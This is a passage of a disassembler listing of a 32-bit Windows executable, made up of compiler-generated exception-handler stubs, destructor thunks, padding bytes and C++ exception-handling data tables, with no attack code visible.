mov eax, offset dword_442B70
jmp sub_437AB8
SEH_427D50 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014CE
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4281A0 proc near ; DATA XREF: sub_4281A0+2o
mov eax, offset dword_442BA0
jmp sub_437AB8
SEH_4281A0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_428260 proc near ; DATA XREF: sub_428260+2o
mov eax, offset dword_442BD0
jmp sub_437AB8
SEH_428260 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014CE
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_428880 proc near ; DATA XREF: sub_428880+2o
mov eax, offset dword_442C00
jmp sub_437AB8
SEH_428880 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_428940 proc near ; DATA XREF: sub_428940+2o
mov eax, offset dword_442C30
jmp sub_437AB8
SEH_428940 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4290B0 proc near ; DATA XREF: sub_4290B0+2o
mov eax, offset dword_442C60
jmp sub_437AB8
SEH_4290B0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40204F
; ---------------------------------------------------------------------------
loc_43CBC8: ; DATA XREF: ___:00442CBCo
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 43h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 58h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Dh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_429120 proc near ; DATA XREF: sub_429120+2o
mov eax, offset dword_442C90
jmp sub_437AB8
SEH_429120 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_40204F
; ---------------------------------------------------------------------------
loc_43CC28: ; DATA XREF: ___:00442D14o
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 43h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 58h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Dh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4291E0 proc near ; DATA XREF: sub_4291E0+2o
mov eax, offset dword_442CE8
jmp sub_437AB8
SEH_4291E0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_4017A8
; ---------------------------------------------------------------------------
loc_43CC88: ; DATA XREF: ___:00442D6Co
mov ecx, [ebp-28h]
add ecx, 0A1h
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_429450 proc near ; DATA XREF: sub_429450+2o
mov eax, offset dword_442D40
jmp sub_437AB8
SEH_429450 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-53ECh]
jmp sub_4014BA
; ---------------------------------------------------------------------------
lea ecx, [ebp-5490h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5474h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5274h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-528Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-525Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-537Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5334h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-522Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5304h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5244h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-545Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5444h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-541Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5404h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5364h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-534Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-531Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43CDB2: ; DATA XREF: ___:004295B8o
mov eax, offset dword_442D80
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 44h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42ACB0 proc near ; DATA XREF: sub_42ACB0+2o
mov eax, offset dword_442E68
jmp sub_437AB8
SEH_42ACB0 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-10h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42AD90 proc near ; DATA XREF: sub_42AD90+2o
mov eax, offset dword_442E98
jmp sub_437AB8
SEH_42AD90 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42AFF0 proc near ; DATA XREF: sub_42AFF0+2o
mov eax, offset dword_442EC8
jmp sub_437AB8
SEH_42AFF0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B380 proc near ; DATA XREF: sub_42B380+2o
mov eax, offset dword_442EF8
jmp sub_437AB8
SEH_42B380 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B440 proc near ; DATA XREF: sub_42B440+8o
mov eax, offset dword_442F28
jmp sub_437AB8
SEH_42B440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C1B0 proc near ; DATA XREF: sub_42C1B0+5o
mov eax, offset dword_442F58
jmp sub_437AB8
SEH_42C1B0 endp
; ---------------------------------------------------------------------------
align 10h
loc_43CEB0: ; DATA XREF: ___:0042C2C5o
mov eax, offset dword_442FB8
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43CEC8: ; DATA XREF: ___:00443044o
lea ecx, [ebp+8]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-1A0h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C350 proc near ; DATA XREF: sub_42C350+2o
mov eax, offset dword_443018
jmp sub_437AB8
SEH_42C350 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C530 proc near ; DATA XREF: sub_42C530+2o
mov eax, offset dword_443058
jmp sub_437AB8
SEH_42C530 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; ---------------------------------------------------------------------------
loc_43CF28: ; DATA XREF: ___:0042C5D2o
mov eax, offset dword_443088
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C770 proc near ; DATA XREF: sub_42C770+2o
mov eax, offset dword_4430B8
jmp sub_437AB8
SEH_42C770 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; ---------------------------------------------------------------------------
mov eax, offset dword_4430E8
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42CB70 proc near ; DATA XREF: sub_42CB70+8o
mov eax, offset dword_443118
jmp sub_437AB8
SEH_42CB70 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42CE60 proc near ; DATA XREF: sub_42CE60+2o
mov eax, offset dword_443148
jmp sub_437AB8
SEH_42CE60 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-74h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-70h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43D0A4: ; DATA XREF: ___:0042D158o
mov eax, offset dword_4431A0
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 32h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_435AA0 proc near ; DATA XREF: sub_435AA0+2o
mov eax, offset dword_443288
jmp sub_437AB8
SEH_435AA0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-168Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43D10B: ; DATA XREF: ___:004432ECo
lea ecx, [ebp-16A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43D116: ; DATA XREF: ___:00435B98o
mov eax, offset dword_4432C0
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4364D0 proc near ; DATA XREF: sub_4364D0+2o
mov eax, offset dword_4432F8
jmp sub_437AB8
SEH_4364D0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4368D0 proc near ; DATA XREF: sub_4368D0+2o
mov eax, offset dword_443328
jmp sub_437AB8
SEH_4368D0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4369E0 proc near ; DATA XREF: sub_4369E0+8o
mov eax, offset dword_443360
jmp sub_437AB8
SEH_4369E0 endp
; ---------------------------------------------------------------------------
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллл',0
align 4
dd 31Bh dup(0)
off_43F000 dd offset sub_4017D0 ; DATA XREF: sub_403720+3FEo
off_43F004 dd offset byte_437AC0 ; DATA XREF: sub_403CC0+2o
off_43F008 dd offset off_402027 ; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C dd offset sub_40221B ; DATA XREF: ___:004070C5o
off_43F010 dd offset loc_40218F ; DATA XREF: sub_409BC0+4o
; sub_409C20+Bo ...
off_43F014 dd offset loc_402045 ; DATA XREF: sub_40AEA0+2o
; sub_40AEF0+1Co
dd offset byte_437AC0
align 10h
off_43F020 dd offset loc_401AE1 ; DATA XREF: ___:0040B1F8o
; sub_40B250+1Eo
flt_43F024 dd 1.0 ; DATA XREF: ___:0040B8A6r
off_43F028 dd offset sub_401A4B ; DATA XREF: sub_40F6D0+157o
; sub_40FE70+1Do
dd offset sub_402149
dd 0
off_43F034 dd offset sub_401ACD ; DATA XREF: sub_40F6D0+142o
; sub_40FE70+23o
off_43F038 dd offset loc_40115E ; DATA XREF: sub_411930+36o
; sub_4119E0+1Do
dd offset loc_402004
dd 0
off_43F044 dd offset sub_4014C9 ; DATA XREF: ___:0041325Do
; sub_4132F0+1Fo
dd offset sub_401D0C
align 10h
off_43F050 dd offset sub_4019CE ; DATA XREF: sub_416D00+6o
; sub_417EF0+8o
dd offset sub_4020C7
dd 0
off_43F05C dd offset loc_401CAD ; DATA XREF: sub_416D60+6o
; sub_417F20+8o
dd offset sub_401230
align 8
off_43F068 dd offset loc_401929 ; DATA XREF: sub_416DC0o sub_41FCD0+8o
dd offset sub_401CF3
dd 0
off_43F074 dd offset sub_40111D ; DATA XREF: sub_416E10o
; sub_4191B0+36o
off_43F078 dd offset loc_4014AB ; DATA XREF: sub_417CC0+68o
off_43F07C dd offset sub_401064 ; DATA XREF: sub_417D60+8Bo
off_43F080 dd offset sub_40138E ; DATA XREF: sub_417E30+74o
off_43F084 dd offset loc_401B81 ; DATA XREF: sub_417F50+7Bo
off_43F088 dd offset loc_40204A ; DATA XREF: sub_418010+7Bo
off_43F08C dd offset loc_401F3C ; DATA XREF: sub_4180D0+3Eo
off_43F090 dd offset sub_401FE1 ; DATA XREF: sub_418150+8o
off_43F094 dd offset loc_401FF5 ; DATA XREF: sub_418180+3Eo
off_43F098 dd offset sub_401E6A ; DATA XREF: sub_418200+3Eo
off_43F09C dd offset loc_40100A ; DATA XREF: sub_418280+10o
off_43F0A0 dd offset loc_4010B4 ; DATA XREF: sub_4182B0+4Bo
off_43F0A4 dd offset sub_401BB8 ; DATA XREF: sub_418330+10o
off_43F0A8 dd offset sub_40171C ; DATA XREF: sub_418360+10o
off_43F0AC dd offset sub_40161D ; DATA XREF: sub_418390+6Bo
dbl_43F0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4199C0+22r
dd 0
off_43F0BC dd offset sub_401B09 ; DATA XREF: sub_41A110+Bo
; sub_41A210+6o
off_43F0C0 dd offset sub_401E92 ; DATA XREF: sub_41B0E0+Do sub_41B140o
off_43F0C4 dd offset sub_401406 ; DATA XREF: ___:0041B4A2o
; ___:0041B58Do
dd offset sub_401686
align 10h
off_43F0D0 dd offset loc_4019F6 ; DATA XREF: sub_41D770+77o
; sub_41D860+1Do
dd offset sub_401C94
dd 0
off_43F0DC dd offset sub_4011FE ; DATA XREF: sub_427740+32o
dd offset sub_401A78
dd offset sub_401A50
dd 0
off_43F0EC dd offset loc_4016DB ; DATA XREF: sub_4277B0+6Ao
; sub_427850+1Do
dd offset sub_401A78
dd offset byte_437AC0
dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND]
db 1Ah, 40h, 0
dd offset sub_401A78
dd offset sub_401366
dd 0
off_43F10C dd offset sub_40182A ; DATA XREF: sub_4281A0+32o
dd offset sub_401A78
dd offset sub_401EB0
dd 0
off_43F11C dd offset sub_40224D ; DATA XREF: sub_428880+32o
dd offset sub_401A78
dd offset sub_401A14
dd 0
off_43F12C dd offset sub_401C3F ; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_4015B9
dd 0
off_43F13C dd offset loc_402086 ; DATA XREF: sub_429120+7Ao
; sub_4291E0+1Do
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset byte_437AC0
dd 0
off_43F14C dd offset sub_4021D5 ; DATA XREF: sub_429450+4Bo
; sub_429540+10o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset loc_401D3E
dd 0
off_43F15C dd offset loc_40112C ; DATA XREF: sub_42ACB0+32o
; sub_42AD50+9o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_40137A
dd 0
off_43F16C dd offset loc_401B18 ; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_4010AF
dd 0
off_43F17C dd offset sub_4017B2 ; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_40189D
dd 0
off_43F18C dd offset sub_4020EF ; DATA XREF: sub_42C4C0+27o
dword_43F190 dd 0 dd 8, 0
off_43F19C dd offset byte_437AC0 ; DATA XREF: sub_42C530+39o
off_43F1A0 dd offset sub_401F5F ; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset loc_40134D
align 10h
off_43F1B0 dd offset sub_401B36 ; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_401537
align 10h
dd offset loc_4015FA
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_4019F1
align 10h
dd offset dword_43F348
off_43F1D4 dd offset loc_437B01 ; DATA XREF: ___:00437AF8o
; ___:off_4448A0o ...
dd 0FFFFFFFFh, 437E9Ch, 437EB0h, 4Dh dup(0)
off_43F318 dd offset off_448CA0 ; DATA XREF: ___:0043F330o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43F318
dd 0
db 0 ; DATA XREF: ___:0043F358o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 43F330h
dword_43F348 dd 3 dup(0) dd offset off_448CA0
dd offset unk_43F338
dd 45h dup(0)
dword_43F470 dd 19930520h, 5, 43F490h, 5 dup(0) dd 0FFFFFFFFh, 438E1Ch, 0
dd offset dword_4382CC+0B24h
dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0 dd 19930520h, 3Dh, 43F4E0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0
dd offset loc_438E6B
dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h, 0Dh, 438F1Eh, 0Eh
dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h, 11h, 438F56h, 12h
dd 438F64h, 13h, 438F72h, 14h, 438F80h, 15h, 438F8Eh, 16h
dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h, 19h, 438FC6h, 1Ah
dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h, 1Dh, 438FFEh, 1Eh
dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h, 21h, 439036h, 22h
dd 439044h, 23h, 439052h, 24h, 439060h, 25h, 43906Eh, 26h
dd 43907Ch, 27h, 43908Ah, 28h, 439098h, 29h, 4390A6h, 2Ah
dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h, 2Dh, 4390DEh, 2Eh
dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h, 31h, 439116h, 32h
dd 439124h, 33h, 439132h, 34h, 439140h, 35h, 43914Eh, 36h
dd 43915Ch, 37h, 43916Ah, 38h, 439178h, 39h, 439186h, 3Ah
dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700 dd 19930520h, 1, 43F720h, 5 dup(0) dd 0FFFFFFFFh, 439290h, 2 dup(0)
dword_43F730 dd 19930520h, 2, 43F750h, 5 dup(0) dd 0FFFFFFFFh, 4392B0h, 0
dd offset loc_4392B8
dd 2 dup(0)
dword_43F768 dd 19930520h, 2, 43F788h, 5 dup(0) dd 0FFFFFFFFh, 4392E0h, 0
dd offset loc_4392E8
align 10h
dword_43F7A0 dd 19930520h, 1, 43F7C0h, 5 dup(0) dd 0FFFFFFFFh, 439310h, 2 dup(0)
dword_43F7D0 dd 19930520h, 7, 43F7F0h, 5 dup(0) dd 0FFFFFFFFh, 439330h, 0
dd offset loc_439338
dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh
dd 2 dup(0)
dword_43F830 dd 19930520h, 7, 43F850h, 5 dup(0) dd 0FFFFFFFFh, 4393B0h, 0
dd offset loc_4393B8
dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh
